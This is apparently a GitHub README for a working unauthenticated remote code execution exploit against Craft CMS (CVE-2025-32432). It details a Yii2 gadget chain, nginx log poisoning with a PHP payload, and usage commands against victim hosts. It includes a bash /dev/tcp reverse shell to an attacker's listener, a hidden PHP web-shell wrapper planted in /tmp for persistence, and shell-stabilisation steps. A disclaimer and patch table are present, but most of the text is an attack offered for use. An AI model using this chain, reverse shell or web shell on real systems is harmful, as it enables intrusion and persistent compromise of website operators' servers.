Working proof-of-concept for CVE-2025-32432, an unauthenticated remote code execution vulnerability in Craft CMS versions up to and including 5.6.16 (also affects 4.x and 3.x trees on equivalent code paths).
Search keywords: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit,
Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior,
nginx log poisoning Craft, unauth RCE craftcms 2025.
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'Default mode targets vanilla Craft CMS installs. A --lab flag is
included for the carangueijada-20 challenge of the
hacklab-platform project,
which gates Craft behind a custom session cookie.
Affected component: craft\controllers\AssetsController::actionGenerateTransform.
The action is registered as allowAnonymous, so no authentication is
required. It accepts a POST parameter handle which is then spread
into a Craft::createObject() call:
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);When $handle is an associative array under attacker control, the
spread injects arbitrary keys into the constructor config. In particular,
a key beginning with as is interpreted by yii\base\Component::__set
as a behavior attachment, which calls Yii::createObject($config) on
the value before any type check:
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}The Yii2 fix in 2.0.50 added is_subclass_of($value['class'], Behavior::class)
guarding this branch; vulnerable installs (Yii2 <= 2.0.49, or earlier
patched-out check) skip the guard entirely.
PhpManager is a stock Yii2 class. Its init() calls load(), which
calls loadFromFile($this->itemFile). loadFromFile is literally:
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}require parses any file on disk as PHP. If the file contains a
<?php ... ?> block, that block runs in the worker. By pointing
itemFile at a file whose content the attacker controls, full RCE is
achieved.
The reliable cross-install sink is the nginx combined-format
access.log. It records the request User-Agent verbatim, including
non-printable characters and most punctuation. By sending a request
whose User-Agent is <?php system('id'); exit; ?>, the attacker
plants a PHP block at a known path. Pointing itemFile at
/var/log/nginx/access.log then requires the log, executing every
<?php ... ?> block in order.
Two subtleties matter:
- No double quotes in the payload. nginx escapes
"to\x22in the combined format, which breaks PHP parsing of the line. Use single quotes orchr()concatenation. exit;at the end sorequireaborts before parsing later log lines that may contain other malformed payloads.
| Component | Vulnerable | Patched |
|---|---|---|
| Craft CMS | <= 5.6.16 | 5.6.17 |
| Craft CMS | <= 4.15.2 | 4.15.3 |
| Craft CMS | <= 3.9.14 | 3.9.15 |
| Yii2 | <= 2.0.49 | 2.0.50 |
Craft 5.6.17 adds an ImageTransformerInterface check on the
transformer class. Yii2 2.0.50 adds a Behavior subclass check in
Component::__set. Either fix alone closes this exact gadget chain.
- Python 3.8+
requestslibrary (pip install -r requirements.txt)- Network reachability to the target HTTP(S) endpoint
- A valid Craft
assetIdon the target. Default2; override with-a <id>if needed (asset id 1 is usually the admin avatar).
python3 exploit.py -u http://victim.tld -c 'id'
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
The carangueijada-20 lab from the
hacklab-platform gates
the Craft install behind a coopsess cookie issued by PATCH /login.
The --lab flag handles that handshake automatically.
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
-c 'id; uname -a'
Make sure www.carangueijada.coop resolves to the lab IP (add to
/etc/hosts if needed).
The --revshell flag fires a bash -i >& /dev/tcp/<lhost>/<lport> 0>&1
connect-back, backgrounded so the gadget POST returns instantly.
Two-terminal flow (most reliable):
# terminal 1 - listener on your machine
nc -lvnp 4444
# terminal 2 - fire exploit
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444
One-terminal flow with built-in listener:
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444 \
--auto-listen
--auto-listen spawns nc -lvnp <lport> in the same terminal before
firing the payload. Ctrl+C exits when you are done.
Sample session (lab):
$ python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
--revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*] coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 200
[*] Reverse shell fired.
# in the listener:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$
Stabilizing the shell (after connect, run inside the reverse shell):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z to background nc
stty raw -echo; fg
# Enter twice
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200
On the first run, the exploit poisons access.log once to drop a
hidden PHP wrapper at /tmp/.cve32432_w.php. The wrapper reads the
X-Cmd HTTP header and runs system($_SERVER['HTTP_X_CMD']). Every
subsequent dispatch points itemFile at the wrapper file and passes
the command via header. No more poisoning, no more log pollution, no
more "first <?php exit; block wins" failures.
If you want to force re-drop, delete /tmp/.cve32432_w.php on the
target (you can do this through the wrapper itself: --cmd 'rm /tmp/.cve32432_w.php').
Successful run against fresh target:
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*] CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*] poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*] HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux
Polluted-log fallback (target has been exploited before, older payload exits before yours):
[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
POST /actions/assets/generate-transformreachesAssetsController::actionGenerateTransform.- The handler builds
$config = ['class' => ImageTransform::class, ...$handle]. Ourhandle[as gadget]survives the spread. Craft::createObject($config)callsYii::$container->get(ImageTransform::class, [], $config), which instantiatesImageTransformand writes each remaining config key via$transform->{$key} = $value.- When the parser hits
as gadget,Component::__setmatches theasprefix and callsYii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log']). Yii::createObjectconstructsPhpManager, runs__construct()and theninit().PhpManager::init()->load()->loadFromFile($this->itemFile)->require '/var/log/nginx/access.log'.- PHP parses the log file. Non-PHP text is echoed to stdout (which
ends up in the HTTP response body).
<?php ... ?>blocks execute in the worker. - Our planted payload runs
system($cmd)andexit;. Output appears in the response body where the<?phpblock was textually located.
| Symptom | Cause | Fix |
|---|---|---|
HTTP 400 + "could not verify your data submission" / "Pedido invalido" |
CSRF token not bound to the cookie used in the POST | The script uses a single requests.Session; if you reimplement, make sure the cookie jar persists CRAFT_CSRF_TOKEN between session-info and the POST. |
HTTP 403 on /actions/... |
Path prefix or vhost wrong | Use -p /prefix to match where Craft is mounted; ensure Host header matches the install. |
csrfTokenValue empty / session-info returns HTML |
Wrong Accept header | Script sends Accept: application/json already; if you patch it out, restore it. |
| Output never shows your command | access.log already contains an older <?php ... exit; ?> payload that runs first |
Rotate / truncate the log on the target. If you only have RCE-as-id, wait for next logrotate, or pivot through a writable PHP file (e.g. /tmp/wrapper.php with system($_SERVER['HTTP_X_CMD']);) and use that as itemFile going forward. |
assetId not found |
Wrong ID for that install | Browse public asset URLs to enumerate IDs, or try -a 1 then -a 3..N. |
| Patched target | Craft >= 5.6.17 or Yii2 >= 2.0.50 | Chain is closed; either find another vulnerable class or move on. |
| Payload triggers PHP fatal | Older log entries contain malformed PHP that breaks the parser before your block | Same as polluted-log fix: rotate the log. |
If you can run only id reliably (because an older exit; poison
locked the chain), one viable pivot is to make that single id-class
command write a PHP wrapper to a path you control, then change
itemFile to that path for all subsequent requests:
# one-shot poison with command that drops /tmp/w.php as www-data
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# encode CMD as chr() ...
Then call:
python3 exploit.py -u http://victim.tld \
-i /tmp/w.php \
-c 'whoami'
Each subsequent dispatch reads /tmp/w.php (a clean PHP file with
nothing before our payload) and runs the command from the X-Cmd
header. Adapt the script if you want this as a built-in mode.
.
├── exploit.py # the PoC
├── README.md # this file
├── requirements.txt # Python deps (just `requests`)
└── LICENSE # MIT
- Craft CMS knowledge base entry: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
- GitHub Security Advisory (GHSA-f3gw-9ww9-jmc3): https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3
- SensePost in-the-wild campaign analysis: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
- Yii2
Component.php(vulnerable revision): https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.php - Yii2 fix (2.0.50): yiisoft/yii2#19938
- Craft CMS commit fixing 5.6.17: https://github.com/craftcms/cms/commit (search "ImageTransformerInterface" around 2025-04-09)
- OWASP log injection: https://owasp.org/www-community/attacks/Log_Injection
- HackTricks LFI-to-RCE via nginx logs: https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-nginx-log
This proof-of-concept is published for defensive research, educational use, and authorized penetration testing only. Running it against systems you do not own or do not have written permission to test is illegal in most jurisdictions. The author accepts no liability for misuse.
If you maintain a Craft CMS install, upgrade to 5.6.17 or later (or the corresponding 4.x / 3.x patch release). The vulnerability is trivially exploitable and was used in real-world campaigns documented by SensePost.
MIT. See LICENSE.